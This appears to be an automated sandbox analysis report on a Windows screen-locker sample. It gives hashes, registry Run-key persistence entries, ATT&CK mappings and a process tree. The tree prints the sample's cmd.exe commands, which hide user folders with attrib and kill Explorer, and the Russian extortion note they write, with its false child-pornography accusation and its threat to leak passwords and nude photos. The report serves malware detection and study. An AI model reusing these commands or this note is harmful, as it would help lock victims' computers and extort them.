ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb

Analysis

user interaction
yes
max time kernel
85s
max time network
86s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 17:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Size 210KB
Sample260810-vytztatfqa
SHA256 ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb
MD5 0bf9c0b1d4a43f5986fa08f087b04cae
SHA1 328b8542e3faeed47a959ab94ac2e4f1d39d2951
SHA512 10a1ed5bd4cbcd9e6181564ff149009e4b685e9310631cc95f51e5065e22f8017401f91e3f69ddd2985bde88ed35983c43e00b2b3322b9b5aca595e5125276c7
SSDEEP 6144:IEhfGkHBdZknRtjULx9aygCSCpMW90KImQijnfbCL:r++dij
TLSH
T18B244D98136AC93DC2BE27BED0A611060BF5B217D503E74CAFF8A0E66D37311A715A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\" -startup"	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe\""	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4188	cmd.exe
3764	cmd.exe
6632	cmd.exe
6372	cmd.exe
2360	cmd.exe
1656	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4304	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
Token: SeDebugPrivilege	4304	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5168 wrote to memory of 3764	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	94
PID 5168 wrote to memory of 4188	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	95
PID 5168 wrote to memory of 1656	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	96
PID 5168 wrote to memory of 2360	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	97
PID 5168 wrote to memory of 6372	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	98
PID 5168 wrote to memory of 6632	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	99
PID 5168 wrote to memory of 4304	5168	ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe	100
PID 6372 wrote to memory of 3104	6372	cmd.exe	117
PID 4188 wrote to memory of 4228	4188	cmd.exe	118
PID 3764 wrote to memory of 5440	3764	cmd.exe	119
PID 6632 wrote to memory of 2644	6632	cmd.exe	120
PID 2360 wrote to memory of 6004	2360	cmd.exe	121
PID 1656 wrote to memory of 1172	1656	cmd.exe	122
PID 4188 wrote to memory of 1556	4188	cmd.exe	123
PID 3764 wrote to memory of 1904	3764	cmd.exe	124
PID 6632 wrote to memory of 4388	6632	cmd.exe	125
PID 2360 wrote to memory of 5044	2360	cmd.exe	126
PID 6372 wrote to memory of 6948	6372	cmd.exe	127
PID 1656 wrote to memory of 4440	1656	cmd.exe	129

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2644	attrib.exe
1172	attrib.exe
1556	attrib.exe
5044	attrib.exe
4388	attrib.exe
1904	attrib.exe
5440	attrib.exe
6004	attrib.exe
6948	attrib.exe
4440	attrib.exe
3104	attrib.exe
4228	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5440
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1904
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4228
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1172
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4440
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:6004
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:6372
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3104
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:6948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:6632
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2644
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4388
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4304

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe"
1⤵
PID:6652

C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe
"C:\Users\Admin\AppData\Local\Temp\ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb.exe" -startup
1⤵
PID:3460

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Documents\info-Locker.txt
Size 207B
SHA256 7904c6db13e17f6622a30a539f05e9d7e909f15c1d1c50926b5b9ca58d9ef11b
MD5 b9f2cb397ac83d2ad94d6774f92628d3
SHA1 f0e64b49ce8bc84f00a56d36f1b5e31c12db083e
SHA512 b91e0b64573c2e290cf3da1f33c97bb4c7eb44db404ec93bbf5a81ac0e8ac6c128bf11f45c925a6786712a78eb31c4f71f7ea67d2210ca252d90e0a7cc66ee06
MD5 SHA1 SHA512

Submit Download

memory/5168-4-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-10-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-3-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-0-0x00007FF95053F000-0x00007FF950540000-memory.dmp

Download

memory/5168-5-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-6-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-11-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-12-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-2-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-13-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-14-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-1-0x0000000000730000-0x000000000076A000-memory.dmp

Download

memory/5168-27-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-28-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-29-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-30-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-31-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download

memory/5168-32-0x00007FF9503B0000-0x00007FF950D54000-memory.dmp

Download